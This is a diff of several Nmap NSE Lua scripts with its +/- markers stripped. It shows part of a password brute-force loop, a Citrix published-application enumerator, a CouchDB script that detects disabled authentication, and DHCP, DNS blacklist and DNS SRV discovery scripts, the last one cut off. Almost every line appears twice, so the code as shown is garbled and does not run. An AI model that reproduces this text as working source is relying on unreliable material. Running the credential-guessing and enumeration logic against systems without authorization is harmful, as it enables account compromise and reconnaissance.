status, nextUser = unpwdb.usernames()
if not status then
return
end
if not status then
return
end
status, nextPass = unpwdb.passwords()
status, nextPass = unpwdb.passwords()
if not status then
return
end
if not status then
return
end
username = nextUser()
username = nextUser()
-- iterate over userlist
while username do
password = nextPass()
-- iterate over userlist
while username do
password = nextPass()
-- iterate over passwordlist
while password do
local result = "Trying " .. username .. "/" .. password .. " "
local account = verify_password(host.ip, port.number, username, password, ntdomain)
-- iterate over passwordlist
while password do
local result = "Trying " .. username .. "/" .. password .. " "
local account = verify_password(host.ip, port.number, username, password, ntdomain)
if account.valid then
if account.valid then
table.insert(valid_accounts, account)
table.insert(valid_accounts, account)
if account.valid then
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
else
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
end
else
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
end
password = nextPass()
end
if account.valid then
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
else
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
end
else
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
end
password = nextPass()
end
nextPass("reset")
username = nextUser()
end
nextPass("reset")
username = nextUser()
end
return create_result_from_table(valid_accounts)
return create_result_from_table(valid_accounts)
end

View File

@@ -42,119 +42,119 @@ portrule = shortport.portnumber(1604, "udp")
-- @return string row delimited with \n containing all published applications
function process_pa_response(response)
local pos, packet_len = bin.unpack("SS", response)
local app_name
local pa_list = {}
local pos, packet_len = bin.unpack("SS", response)
local app_name
local pa_list = {}
if packet_len < 40 then
return
end
if packet_len < 40 then
return
end
-- the list of published applications starts at offset 40
local offset = 41
-- the list of published applications starts at offset 40
local offset = 41
while offset < packet_len do
pos, app_name = bin.unpack("z", response:sub(offset))
offset = offset + pos - 1
while offset < packet_len do
pos, app_name = bin.unpack("z", response:sub(offset))
offset = offset + pos - 1
table.insert(pa_list, app_name)
end
table.insert(pa_list, app_name)
end
return pa_list
return pa_list
end
action = function(host, port)
local packet, counter
local query = {}
local pa_list = {}
local packet, counter
local query = {}
local pa_list = {}
--
-- Packets were intercepted from the Citrix Program Neighborhood client
-- They are used to query a server for it's list of servers
--
-- We're really not interested in the responses to the first two packets
-- The third response contains the list of published applications
-- I couldn't find any documentation on this protocol so I'm providing
-- some brief information for the bits and bytes this script uses.
--
-- Spec. of response to query[2] that contains a list of published apps
--
-- offset size content
-- -------------------------
-- 0 16-bit Length
-- 12 32-bit Server IP (not used here)
-- 30 8-bit Last packet (1), More packets(0)
-- 40 - null-separated list of applications
--
query[0] = string.char(
0x1e, 0x00, -- Length: 30
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
)
--
-- Packets were intercepted from the Citrix Program Neighborhood client
-- They are used to query a server for it's list of servers
--
-- We're really not interested in the responses to the first two packets
-- The third response contains the list of published applications
-- I couldn't find any documentation on this protocol so I'm providing
-- some brief information for the bits and bytes this script uses.
--
-- Spec. of response to query[2] that contains a list of published apps
--
-- offset size content
-- -------------------------
-- 0 16-bit Length
-- 12 32-bit Server IP (not used here)
-- 30 8-bit Last packet (1), More packets(0)
-- 40 - null-separated list of applications
--
query[0] = string.char(
0x1e, 0x00, -- Length: 30
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
)
query[1] = string.char(
0x20, 0x00, -- Length: 32
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
)
query[1] = string.char(
0x20, 0x00, -- Length: 32
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
)
query[2] = string.char(
0x2a, 0x00, -- Length: 42
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
)
query[2] = string.char(
0x2a, 0x00, -- Length: 42
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
)
counter = 0
counter = 0
local socket = nmap.new_socket()
socket:set_timeout(5000)
local socket = nmap.new_socket()
socket:set_timeout(5000)
local try = nmap.new_try(function() socket:close() end)
local try = nmap.new_try(function() socket:close() end)
try( socket:connect(host, port) )
try( socket:connect(host, port) )
-- send the two first packets and never look back
repeat
try( socket:send(query[counter]) )
packet = try(socket:receive())
counter = counter + 1
until (counter>#query)
-- send the two first packets and never look back
repeat
try( socket:send(query[counter]) )
packet = try(socket:receive())
counter = counter + 1
until (counter>#query)
-- process the first response
pa_list = process_pa_response( packet )
-- process the first response
pa_list = process_pa_response( packet )
--
-- the byte at offset 31 in the response has a really magic function
-- if it is set to zero (0) we have more response packets to process
-- if it is set to one (1) we have arrived at the last packet of our journey
--
while packet:sub(31,31) ~= string.char(0x01) do
packet = try( socket:receive() )
local tmp_table = process_pa_response( packet )
--
-- the byte at offset 31 in the response has a really magic function
-- if it is set to zero (0) we have more response packets to process
-- if it is set to one (1) we have arrived at the last packet of our journey
--
while packet:sub(31,31) ~= string.char(0x01) do
packet = try( socket:receive() )
local tmp_table = process_pa_response( packet )
for _,v in pairs(tmp_table) do
table.insert(pa_list, v)
end
for _,v in pairs(tmp_table) do
table.insert(pa_list, v)
end
end
end
-- set port to open
if #pa_list>0 then
nmap.set_port_state(host, port, "open")
end
-- set port to open
if #pa_list>0 then
nmap.set_port_state(host, port, "open")
end
socket:close()
socket:close()
return stdnse.format_output(true, pa_list)
return stdnse.format_output(true, pa_list)
end

View File

@@ -51,7 +51,7 @@ categories = {"discovery", "safe"}
portrule = shortport.port_or_service({5984})
-- Some lazy shortcuts
local function dbg(str,...)
stdnse.print_debug("couchdb-stats:"..str, ...)
stdnse.print_debug("couchdb-stats:"..str, ...)
end
@@ -62,112 +62,112 @@ local DISCARD = {stddev=1,min=1,max=1, mean=1}
-- @param data a table containg data
--@return another table containing data, with some keys removed
local function queryResultToTable(data)
local result = {}
for k,v in pairs(data) do
dbg("(%s,%s)",k,tostring(v))
if DISCARD[k] ~= 1 then
if type(v) == 'table' then
if v["description"] ~= nil then
k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
v["description"] = nil
end
table.insert(result,k)
table.insert(result,queryResultToTable(v))
else
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
end
end
end
return result
local result = {}
for k,v in pairs(data) do
dbg("(%s,%s)",k,tostring(v))
if DISCARD[k] ~= 1 then
if type(v) == 'table' then
if v["description"] ~= nil then
k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
v["description"] = nil
end
table.insert(result,k)
table.insert(result,queryResultToTable(v))
else
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
end
end
end
return result
end
action = function(host, port)
local data, result, err
local data, result, err
data = http.get( host, port, '/_stats' )
data = http.get( host, port, '/_stats' )
-- check that body was received
if not data.body or data.body == "" then
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
dbg( msg )
return msg
end
-- check that body was received
if not data.body or data.body == "" then
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
dbg( msg )
return msg
end
-- The html body should look like this :
--
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
-- The html body should look like this :
--
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
local status, result = json.parse(data.body)
if not status then
dbg(result)
return result
end
local status, result = json.parse(data.body)
if not status then
dbg(result)
return result
end
-- Here we know it is a couchdb
port.version.name ='httpd'
port.version.product='Apache CouchDB'
nmap.set_port_version(host,port)
-- Here we know it is a couchdb
port.version.name ='httpd'
port.version.product='Apache CouchDB'
nmap.set_port_version(host,port)
-- We have a valid table in result containing the parsed json
-- now, get all the interesting bits
-- We have a valid table in result containing the parsed json
-- now, get all the interesting bits
result = queryResultToTable(result)
result = queryResultToTable(result)
-- Additionally, we can check if authentication is used :
-- The following actions are restricted if auth is used
-- create db (PUT /database)
-- delete db (DELETE /database)
-- Creating a design document (PUT /database/_design/app)
-- Updating a design document (PUT /database/_design/app?rev=1-4E2)
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
-- Triggering compaction (POST /_compact)
-- Reading the task status list (GET /_active_tasks)
-- Restart the server (POST /_restart)
-- Read the active configuration (GET /_config)
-- Update the active configuration (PUT /_config)
-- Additionally, we can check if authentication is used :
-- The following actions are restricted if auth is used
-- create db (PUT /database)
-- delete db (DELETE /database)
-- Creating a design document (PUT /database/_design/app)
-- Updating a design document (PUT /database/_design/app?rev=1-4E2)
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
-- Triggering compaction (POST /_compact)
-- Reading the task status list (GET /_active_tasks)
-- Restart the server (POST /_restart)
-- Read the active configuration (GET /_config)
-- Update the active configuration (PUT /_config)
data = http.get( host, port, '/_config' )
local status, authresult = json.parse(data.body)
data = http.get( host, port, '/_config' )
local status, authresult = json.parse(data.body)
-- If authorization is used, we should get back something like
-- {"error":"unauthorized","reason":"You are not a server admin."}
-- Otherwise, a *lot* of data, :
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
local auth = "Authentication : %s"
local authEnabled = "unknown"
-- If authorization is used, we should get back something like
-- {"error":"unauthorized","reason":"You are not a server admin."}
-- Otherwise, a *lot* of data, :
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
local auth = "Authentication : %s"
local authEnabled = "unknown"
if(status) then
if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
end
end
table.insert(result, auth:format(authEnabled))
return stdnse.format_output(true, result )
if(status) then
if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
end
end
table.insert(result, auth:format(authEnabled))
return stdnse.format_output(true, result )
end

View File

@@ -70,98 +70,98 @@ categories = {"discovery", "safe"}
-- We want to run against a specific host if UDP/67 is open
function portrule(host, port)
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return shortport.portnumber(67, "udp")(host, port)
return shortport.portnumber(67, "udp")(host, port)
end
local function go(host, port)
-- Build and send a DHCP request using the specified request type, or DHCPINFORM
local requests = tonumber(nmap.registry.args.requests or 1)
local results = {}
for i = 1, requests, 1 do
-- Decide which type of request to make
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
if(request_type == nil) then
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
end
-- Build and send a DHCP request using the specified request type, or DHCPINFORM
local requests = tonumber(nmap.registry.args.requests or 1)
local results = {}
for i = 1, requests, 1 do
-- Decide which type of request to make
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
if(request_type == nil) then
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
end
-- Generate the MAC address, if it's random
local mac_addr = host.mac_addr_src
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
mac_addr = ""
for j=1, 6, 1 do
mac_addr = mac_addr .. string.char(math.random(1, 255))
end
end
-- Generate the MAC address, if it's random
local mac_addr = host.mac_addr_src
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
mac_addr = ""
for j=1, 6, 1 do
mac_addr = mac_addr .. string.char(math.random(1, 255))
end
end
local iface, err = nmap.get_interface_info(host.interface)
if ( not(iface) or not(iface.address) ) then
return false, "Couldn't determine local ip for interface: " .. host.interface
end
local iface, err = nmap.get_interface_info(host.interface)
if ( not(iface) or not(iface.address) ) then
return false, "Couldn't determine local ip for interface: " .. host.interface
end
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
if( not(status) ) then
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
return false, result
end
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
if( not(status) ) then
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
return false, result
end
table.insert(results, result)
end
table.insert(results, result)
end
-- Done!
return true, results
-- Done!
return true, results
end
action = function(host, port)
local status, results = go(host, port)
local status, results = go(host, port)
if(not(status)) then
return stdnse.format_output(false, results)
end
if(not(status)) then
return stdnse.format_output(false, results)
end
if(not(results)) then
return nil
end
if(not(results)) then
return nil
end
-- Set the port state to open
if(host) then
nmap.set_port_state(host, port, "open")
end
-- Set the port state to open
if(host) then
nmap.set_port_state(host, port, "open")
end
local response = {}
local response = {}
-- Display the results
for i, result in ipairs(results) do
local result_table = {}
-- Display the results
for i, result in ipairs(results) do
local result_table = {}
if ( nmap.registry.args.dhcptype and
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
end
for _, v in ipairs(result.options) do
if(type(v['value']) == 'table') then
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
end
end
if ( nmap.registry.args.dhcptype and
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
end
for _, v in ipairs(result.options) do
if(type(v['value']) == 'table') then
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
end
end
if(#results == 1) then
response = result_table
else
result_table['name'] = string.format("Result %d of %d", i, #results)
table.insert(response, result_table)
end
end
if(#results == 1) then
response = result_table
else
result_table['name'] = string.format("Result %d of %d", i, #results)
table.insert(response, result_table)
end
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -78,100 +78,100 @@ categories = {"external", "safe"}
hostrule = function() return true end
prerule = function() return true end
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all"
local function listServices()
local result = {}
if ( "all" == arg_category ) then
for cat in pairs(dnsbl.SERVICES) do
local helper = dnsbl.Helper:new(cat, arg_mode)
local cat_res= helper:listServices()
cat_res.name = cat
table.insert(result, cat_res)
end
else
result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
end
return stdnse.format_output(true, result)
local result = {}
if ( "all" == arg_category ) then
for cat in pairs(dnsbl.SERVICES) do
local helper = dnsbl.Helper:new(cat, arg_mode)
local cat_res= helper:listServices()
cat_res.name = cat
table.insert(result, cat_res)
end
else
result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
end
return stdnse.format_output(true, result)
end
local function formatResult(result)
local output = {}
for _, svc in ipairs(result) do
if ( svc.result.details ) then
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
table.insert(output, svc.result.details)
else
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
end
end
return output
local output = {}
for _, svc in ipairs(result) do
if ( svc.result.details ) then
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
table.insert(output, svc.result.details)
else
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
end
end
return output
end
dnsblAction = function(host)
local helper
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
return "\n ERROR: A service filter can't be used without a specific category"
elseif( "all" ~= arg_category ) then
helper = dnsbl.Helper:new(arg_category, arg_mode)
helper:setFilter(arg_services)
local status, err = helper:validateFilter()
if ( not(status) ) then
return ("\n ERROR: %s"):format(err)
end
end
local helper
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
return "\n ERROR: A service filter can't be used without a specific category"
elseif( "all" ~= arg_category ) then
helper = dnsbl.Helper:new(arg_category, arg_mode)
helper:setFilter(arg_services)
local status, err = helper:validateFilter()
if ( not(status) ) then
return ("\n ERROR: %s"):format(err)
end
end
local output = {}
if ( helper ) then
local result = helper:checkBL(host.ip)
if ( #result == 0 ) then return end
output = formatResult(result)
else
for cat in pairs(dnsbl.SERVICES) do
helper = dnsbl.Helper:new(cat, arg_mode)
local result = helper:checkBL(host.ip)
local out_part = formatResult(result)
if ( #out_part > 0 ) then
out_part.name = cat
table.insert(output, out_part)
end
end
if ( #output == 0 ) then return end
end
local output = {}
if ( helper ) then
local result = helper:checkBL(host.ip)
if ( #result == 0 ) then return end
output = formatResult(result)
else
for cat in pairs(dnsbl.SERVICES) do
helper = dnsbl.Helper:new(cat, arg_mode)
local result = helper:checkBL(host.ip)
local out_part = formatResult(result)
if ( #out_part > 0 ) then
out_part.name = cat
table.insert(output, out_part)
end
end
if ( #output == 0 ) then return end
end
if ( "prerule" == SCRIPT_TYPE ) then
output.name = host.ip
end
if ( "prerule" == SCRIPT_TYPE ) then
output.name = host.ip
end
return stdnse.format_output(true, output)
return stdnse.format_output(true, output)
end
-- execute the action function corresponding to the current rule
action = function(...)
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
end
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
end
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
return "\n ERROR: Invalid IP address was supplied"
end
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
return "\n ERROR: Invalid IP address was supplied"
end
-- if the list argument was given, just list the services and abort
if ( arg_list ) then
return listServices()
end
-- if the list argument was given, just list the services and abort
if ( arg_list ) then
return listServices()
end
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
return dnsblAction( { ip = arg_IP } )
elseif ( "hostrule" == SCRIPT_TYPE ) then
return dnsblAction(...)
end
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
return dnsblAction( { ip = arg_IP } )
elseif ( "hostrule" == SCRIPT_TYPE ) then
return dnsblAction(...)
end
end

View File

@@ -69,113 +69,113 @@ local arg_filter = stdnse.get_script_args(SCRIPT_NAME .. ".filter")
prerule = function() return not(not(arg_domain)) end
local function parseSvcList(services)
local i = 1
return function()
local svc = services[i]
if ( svc ) then
i=i + 1
else
return
end
return svc.name, svc.query
end
local i = 1
return function()
local svc = services[i]
if ( svc ) then
i=i + 1
else
return
end
return svc.name, svc.query
end
end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function parseSrvResponse(resp)
local i = 1
if ( resp.answers ) then
table.sort(resp.answers,
function(a, b)
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
return a.SRV.prio < b.SRV.prio
end
end
)
end
return function()
if ( not(resp.answers) or 0 == #resp.answers ) then return end
if ( not(resp.answers[i]) ) then
return
elseif ( resp.answers[i].SRV ) then
local srv = resp.answers[i].SRV
i = i + 1
return srv.target, srv.port, srv.prio, srv.weight
end
end
local i = 1
if ( resp.answers ) then
table.sort(resp.answers,
function(a, b)
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
return a.SRV.prio < b.SRV.prio
end
end
)
end
return function()
if ( not(resp.answers) or 0 == #resp.answers ) then return end
if ( not(resp.answers[i]) ) then
return
elseif ( resp.answers[i].SRV ) then
local srv = resp.answers[i].SRV
i = i + 1
return srv.target, srv.port, srv.prio, srv.weight
end
end
end
local function checkFilter(services)
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
return true
end
for name, queries in parseSvcList(services) do
if ( name == arg_filter ) then
return true
end
end
return false
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
return true
end
for name, queries in parseSvcList(services) do
if ( name == arg_filter ) then
return true
end
end
return false
end
local function doQuery(name, queries, result)
local condvar = nmap.condvar(result)
local svc_result = tab.new(4)
tab.addrow(svc_result, "service", "prio", "weight", "host")
for _, query in ipairs(queries) do
local fqdn = ("%s.%s"):format(query, arg_domain)
local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
for host, port, prio, weight in parseSrvResponse(resp) do
if target.ALLOW_NEW_TARGETS then
target.add(host)
end
local proto = query:sub(-3)
